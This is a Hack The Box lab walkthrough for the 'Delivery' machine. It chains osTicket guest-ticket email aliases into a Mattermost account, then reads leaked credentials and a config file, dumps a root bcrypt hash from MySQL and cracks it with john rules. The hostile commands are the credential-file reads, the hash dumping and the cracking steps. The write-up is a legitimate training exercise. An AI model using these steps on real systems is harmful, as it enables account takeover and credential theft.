Delivery Walkthrough

Machine: Delivery#

Date: 26-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:

nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP

Results:

• Port 22 → SSH (OpenSSH 7.9p1 Debian 10)
• Port 80 → HTTP (nginx 1.14.2) — title: “Welcome”

Full port scan:

nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP

Additional ports found:

• Port 8065 → HTTP — unknown service (Mattermost confirmed on visit)

UDP scan:

nmap -sU --top-ports 20 -oN scans/nmap_udp.txt $MACHINE_IP

• Nothing relevant

Notes:

• OS fingerprint: OpenSSH 7.9 + nginx 1.14.2 → Debian 10 (Buster)
• Port 8065 is the default Mattermost port — team messaging platform
• Page source on port 80 reveals two hostnames: helpdesk.delivery.htb and delivery.htb:8065
• Key message in source: “Once you have an @delivery.htb email address, you’ll be able to have access to our MatterMost server” — this is the main hint for exploitation

📂 Enumeration#

Gobuster (directories):

gobuster dir -u http://$MACHINE_IP/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt -t 50 -o scans/gobuster.txt

• Found /index.html (200)
• Found /images/ (301)
• Found /assets/ (301)
• Found /error/ (301)
• Nothing exploitable on the main vhost

Added hostnames to /etc/hosts:

10.129.10.170  delivery.htb helpdesk.delivery.htb

helpdesk.delivery.htb — osTicket:

• Running osTicket (open source support ticket system)
• Guest users can open tickets without an account
• When a ticket is created, osTicket assigns [email protected] as a contact email
• This address receives all ticket updates

delivery.htb:8065 — Mattermost:

• Mattermost login page
• Registration requires a @delivery.htb email address
• This restriction is the key to the business logic attack

Notes:

• No SMB, no LDAP, no FTP — attack surface is entirely web-based
• The combination of osTicket + Mattermost creates a business logic flaw: osTicket hands out @delivery.htb addresses to anyone, which is exactly what Mattermost requires for registration

💥 Exploitation#

Business Logic Abuse — Email Alias via osTicket

• Attempt 1: Default credentials on osTicket admin panel → not applicable, no admin panel exposed
• Attempt 2: Register directly on Mattermost with a fake email → rejected (must be @delivery.htb)
• Exploit used: Business Logic / Email Alias Abuse — osTicket assigns internal @delivery.htb addresses to guest tickets, which can be used to receive Mattermost verification emails

Step 1 — Open guest ticket:

http://helpdesk.delivery.htb/open.php
Email: [email protected] (any external email)
→ Ticket #4662359 created
→ Assigned email: [email protected]

Step 2 — Register on Mattermost:

http://delivery.htb:8065 → Create Account
Email: [email protected]
Password: [REDACTED]
→ "Please verify your email" screen

Step 3 — Retrieve verification link from ticket:

http://helpdesk.delivery.htb → Check Ticket Status
Email: [email protected] + Ticket: 4662359
→ Mattermost verification email appears in ticket thread
→ Click verification link → Email Verified ✅

Step 4 — Login to Mattermost → Internal channel:

# Credentials found in #internal channel (posted by root):
maildeliverer:[REDACTED]

# Additional hint from root:
# "PleaseSubscribe! may not be in RockYou but hashcat rules
#  can crack all variations of common words or phrases."

Result: Credentials maildeliverer:[REDACTED] for SSH

⚡ Privilege Escalation#

Enumeration:

sudo -l
# Sorry, user maildeliverer may not run sudo on Delivery.

id
# uid=1000(maildeliverer) gid=1000(maildeliverer)

find / -perm -4000 -type f 2>/dev/null
# Nothing exploitable

cat /opt/mattermost/config/config.json
# MySQL credentials found in DataSource field

• sudo -l → no sudo permissions
• No exploitable SUID binaries
• /opt/mattermost/config/config.json → MySQL credentials: mmuser:[REDACTED]

Attempt 1 — MySQL hash dump:

mysql -u mmuser -p"[REDACTED]"
USE mattermost;
SELECT Username, Password FROM Users;
# root → $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

• bcrypt hash ($2a$10$) for user root extracted ✅

Attempt 2 — Crack bcrypt hash with rule-based attack:

echo "PleaseSubscribe!" > loot/wordlist.txt
john loot/hash.txt --wordlist=loot/wordlist.txt --rules=best64
# PleaseSubscribe!21 → cracked ✅

Why this works: The Mattermost admin hinted that the password is a variant of PleaseSubscribe!. John’s best64 ruleset applies common transformations to base words (append numbers, leetspeak, capitalization, etc.), which covers PleaseSubscribe!21 — a simple digit append. bcrypt is slow per attempt but with a single base word and 64 rules, the keyspace is tiny enough to crack in seconds.

Successful escalation:

su root
# Password: [REDACTED]
root@Delivery:~# id
# uid=0(root) gid=0(root) groups=0(root)

• Root ✅

🧩 Attack Chain#

1. Port scan → discovered nginx (80), Mattermost (8065)
2. Page source → found hostnames helpdesk.delivery.htb and delivery.htb:8065
3. osTicket → opened guest ticket → assigned [email protected]
4. Registered on Mattermost with [email protected] → verification link received in ticket
5. Mattermost Internal channel → credentials maildeliverer:[REDACTED] + password hint
6. SSH as maildeliverer → user flag
7. /opt/mattermost/config/config.json → MySQL creds mmuser:[REDACTED]
8. MySQL → dumped bcrypt hash for root
9. john + best64 rules + [REDACTED] → [REDACTED]
10. su root → root flag ✅

🎯 Loot / Flags#

• user.txt: ``[FLAG REDACTED]→/home/maildeliverer/user.txt`
• root.txt: ``[FLAG REDACTED]→/root/root.txt`

Credentials found:

📝 Lessons Learned#

• Business logic flaws don’t need CVEs — two legitimate systems (osTicket + Mattermost) interact in a way that allows bypassing email verification. Neither is vulnerable alone.
• Always read all messages in internal platforms — developers routinely share credentials in “private” channels assuming no outsider will ever access them.
• Application config files are high-value targets — /opt/app/config/config.json, wp-config.php, .env almost always contain database credentials that enable further escalation.
• Password hints narrow the cracking space dramatically — when an admin says “don’t use variants of X”, that X is the base. A targeted wordlist + rules cracks bcrypt in seconds instead of years.
• Full port scan is mandatory — Mattermost on port 8065 would have been missed with a default top-1000 scan.

#Linux #HTB #Enumeration #Web #Nginx #Mattermost #osTicket #BusinessLogic #EmailAbuse #AccountTakeover #InternalAccess #CredentialLeak #SSH #PostExploitation #ConfigFiles #MySQL #HashDumping #Bcrypt #PasswordCracking #JohnTheRipper #Rules #PrivilegeEscalation #Root

Adapted from MountainFlayer/htb-writeups under MIT.